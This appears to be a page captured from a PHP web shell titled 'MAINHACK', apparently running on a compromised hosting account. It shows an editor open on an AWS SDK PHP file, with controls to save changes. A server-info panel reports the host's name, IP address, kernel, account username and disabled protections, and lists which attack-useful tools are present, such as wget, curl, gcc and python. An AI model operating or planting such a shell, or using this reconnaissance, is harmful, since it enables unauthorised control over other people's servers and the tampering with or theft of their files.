[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RulesetParameter.php
<?php namespace Aws\EndpointV2\Ruleset; use Aws\Exception\UnresolvedEndpointException; use function \Aws\is_associative; /** * Houses properties of an individual parameter definition. */ class RulesetParameter { /** @var string */ private $name; /** @var string */ private $type; /** @var string */ private $builtIn; /** @var string */ private $default; /** @var array */ private $required; /** @var string */ private $documentation; /** @var boolean */ private $deprecated; /** @var array<string, string> */ private static $typeMap = [ 'String' => 'is_string', 'Boolean' => 'is_bool', 'StringArray' => 'isStringArray' ]; public function __construct($name, array $definition) { $type = ucfirst($definition['type']); if ($this->isValidType($type)) { $this->type = $type; } else { throw new UnresolvedEndpointException( 'Unknown parameter type ' . "`{$type}`" . '. Parameters must be of type `String`, `Boolean` or `StringArray.' ); } $this->name = $name; $this->builtIn = $definition['builtIn'] ?? null; $this->default = $definition['default'] ?? null; $this->required = $definition['required'] ?? false; $this->documentation = $definition['documentation'] ?? null; $this->deprecated = $definition['deprecated'] ?? false; } /** * @return mixed */ public function getName() { return $this->name; } /** * @return mixed */ public function getType() { return $this->type; } /** * @return mixed */ public function getBuiltIn() { return $this->builtIn; } /** * @return mixed */ public function getDefault() { return $this->default; } /** * @return boolean */ public function getRequired() { return $this->required; } /** * @return string */ public function getDocumentation() { return $this->documentation; } /** * @return boolean */ public function getDeprecated() { return $this->deprecated; } /** * Validates that an input parameter matches the type provided in its definition. * * @return void * @throws InvalidArgumentException */ public function validateInputParam($inputParam) { if (!$this->isValidInput($inputParam)) { throw new UnresolvedEndpointException( "Input parameter `{$this->name}` is the wrong type. Must be a {$this->type}." ); } if ($this->deprecated) { $deprecated = $this->deprecated; $deprecationString = "{$this->name} has been deprecated "; $msg = $deprecated['message'] ?? null; $since = $deprecated['since'] ?? null; if (!is_null($since)){ $deprecationString .= 'since ' . $since . '. '; } if (!is_null($msg)) { $deprecationString .= $msg; } trigger_error($deprecationString, E_USER_WARNING); } } private function isValidType($type) { return isset(self::$typeMap[$type]); } private function isValidInput($inputParam): bool { $method = self::$typeMap[$this->type]; if (is_callable($method)) { return $method($inputParam); } elseif (method_exists($this, $method)) { return $this->$method($inputParam); } return false; } private function isStringArray(array $array): bool { if (is_associative($array)) { return false; } foreach($array as $value) { if (!is_string($value)) { return false; } } return true; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285